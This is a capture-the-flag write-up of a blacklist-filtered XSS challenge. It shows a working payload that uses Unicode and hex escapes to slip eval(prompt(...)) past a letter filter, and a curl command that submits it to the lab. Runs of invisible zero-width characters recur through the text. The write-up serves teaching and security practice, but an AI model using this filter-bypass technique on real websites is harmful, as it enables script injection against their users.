← Back to Writeups
CUSTOMEasyWeb

Easy 6 - SiBears XSS School

XESXOR9/10/20263 min read
#web#custom#easy#blacklist_bypass_via_encoding#comment_injection#hex_escape_in_strings#string_context_breakout#unicode_escape_in_identifiers#linux

Easy 6 - SiBears XSS School

Platform: spfctf | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-03-15 | Status: Solved Techniques: blacklist_bypass_via_encoding, comment_injection, hex_escape_in_strings, string_context_breakout, unicode_escape_in_identifiers

Summary

Task: XSS challenge with regex character blacklist filtering letters p,r,o,m,t,e and brackets. Solution: Bypass using JavaScript Unicode escapes (\u0065val) in identifiers and hex escapes (\x70) in strings to call eval(prompt("sibears")).

Easy 6 - SiBears XSS School — SPbCTF

Description

Attack our bot to get the flag! Solve the SiBears XSS level and submit your payload to this page.

Challenge URL: http://109.233.56.90:11659/xss/easy/6

The challenge is from the SiBears XSS School (xss.school.sibears.ru). The page at /xss/easy/6 contains a JavaScript escape function that filters user input and injects it into a <script> tag. A separate form at /xss/easy/6/form accepts a payload, which is sent to a bot that evaluates it. The goal is to execute prompt("sibears") in the browser. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Analysis

The Escape Function

javascript
function escape(s) {
  if (/p|r|o|m|t|e|\[|\]|!/i.test(s)) {
    s = '';
  }
  return '<script> var a = "' + s + '";</scr' + 'ipt>';  
}

The filter blocks (case-insensitive) the characters: p, r, o, m, t, e, [, ], !

This means:

  • Can't write prompt, eval, setTimeout, Function, document, window, self, this, alert, constructor, etc. directly
  • Can't use bracket notation [] for property access
  • Can't use ! for logical NOT
  • Can't close </script> tag in input since it contains blocked letters ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Available Characters

Letters: a b c d f g h i j k l n q s u v w x y z (and uppercase equivalents) All digits, and symbols: " ' \ ; + - * / = ( ) { } . , : ? & | ^ ~ < > @ # $ % _ and backtick

Solution

Key Insight 1: JavaScript Unicode Escapes in Identifiers

JavaScript allows Unicode escape sequences (\uXXXX) in identifier names. The characters \, u, 0, 6, 5 are all allowed by the filter. So \u0065val is parsed by the JS engine as eval — but the regex only sees the raw characters and doesn't match any blocked letter. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key Insight 2: Hex Escapes in JS Strings

Inside a JavaScript string, \xNN hex escapes produce arbitrary characters. The raw characters \, x, and hex digits are all allowed by the filter. So "\x70\x72\x6f\x6d\x70\x74" is the string "prompt" but contains no blocked characters in the source.

Crafting the Payload

";\u0065val("\x70\x72\x6f\x6d\x70\x74(\x22sib\x65a\x72s\x22)");//

After injection into the template, the browser sees:

html
<script> var a = "";\u0065val("\x70\x72\x6f\x6d\x70\x74(\x22sib\x65a\x72s\x22)");//";</script>

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Which the JS engine interprets as:

javascript
var a = "";
eval("prompt(\"sibears\")");
//";

Breakdown

  1. " — closes the string started by the template
  2. ; — ends the var a statement
  3. \u0065val(...) — JS Unicode escape: \u0065 = e, so this is eval(...)
  4. "\x70\x72\x6f\x6d\x70\x74(\x22sib\x65a\x72s\x22)" — hex-escaped string that decodes to prompt("sibears")
  5. ;// — semicolon ends the eval statement, // comments out the trailing "; from the template

Hex Encoding Reference

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

CharacterHex Code
p\x70
r\x72
o\x6f
m\x6d
t\x74
e\x65
"\x22

Submission

The payload was URL-encoded and POSTed to the form endpoint:

bash
curl -s -X POST 'http://109.233.56.90:11659/xss/easy/6/form' \
  -d 'code=%22%3B%5Cu0065val(%22%5Cx70%5Cx72%5Cx6f%5Cx6d%5Cx70%5Cx74(%5Cx22sib%5Cx65a%5Cx72s%5Cx22)%22)%3B%2F%2F'

The server redirected to a checker page which confirmed: State is SUCCESS

Verification

Confirmed that the regex does NOT match the raw payload: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

javascript
/p|r|o|m|t|e|\[|\]|!/i.test('";\u0065val("\x70\x72\x6f\x6d\x70\x74(\x22sib\x65a\x72s\x22)");//')
// → false (when tested as raw/literal string, not JS-interpreted)

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍